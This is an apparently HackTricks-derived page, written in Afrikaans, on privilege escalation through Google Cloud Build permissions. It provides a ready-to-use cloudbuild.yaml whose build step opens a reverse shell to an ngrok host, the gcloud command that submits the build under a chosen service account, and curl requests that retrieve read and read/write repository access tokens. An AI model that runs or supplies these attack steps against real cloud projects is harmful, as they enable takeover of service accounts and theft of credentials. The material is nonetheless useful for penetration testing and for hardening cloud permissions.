# GCP - Cloudbuild Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudbuild

Vir meer inligting oor Cloud Build kyk:

{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
{{#endref}}

### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`

Met hierdie toestemming kan jy **'n cloud build indien**. Die cloudbuild-masjien sal in sy lêerstelsel by **verstek 'n token van die cloudbuild Service Account** hê: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Jy kan egter **enige service account binne die projek aandui** in die cloudbuild-konfigurasie.\ Daarom kan jy die masjien eenvoudig laat exfiltrate na jou bediener die token, of **'n reverse shell daarin kry en die token vir jouself haal** (die lêer wat die token bevat, kan verander).

#### Direct exploitation via gcloud CLI

1- Skep `cloudbuild.yaml` en wysig dit met jou listener data

<details><summary>Cloud Build YAML configuration for reverse shell</summary>
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
</details>

2- Laai 'n eenvoudige build op sonder bron, die yaml-lêer en spesifiseer die SA wat by die build gebruik moet word:

<details><summary>Dien Cloud Build in met die gespesifiseerde service account</summary>
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
</details>

#### Gebruik python gcloud biblioteek
Jy kan die oorspronklike exploit script [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waarvandaan dit die token neem het vir my nie gewerk nie). Gaan dus kyk na 'n script om die [**skepping, exploit en skoonmaak van 'n vuln-omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python script om 'n reverse shell binne die cloudbuild-masjien te kry en [**steel dit hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander service accounts te spesifiseer)**.**

Vir 'n meer diepgaande verduideliking, besoek [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)


### `cloudbuild.repositories.accessReadToken`

Met hierdie toestemming kan die gebruiker die **read access token** kry wat gebruik word om toegang tot die repository te verkry:

<details><summary>Kry read access token vir repository</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
</details>

### `cloudbuild.repositories.accessReadWriteToken`

Met hierdie toestemming kan die gebruiker die **read and write access token** kry wat gebruik word om toegang tot die repository te verkry:

<details><summary>Kry die read and write access token vir die repository</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
</details>

### `cloudbuild.connections.fetchLinkableRepositories`

Met hierdie toestemming kan jy **die repos kry waartoe die verbinding toegang het:**

<details><summary>Haal koppelbare repos</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
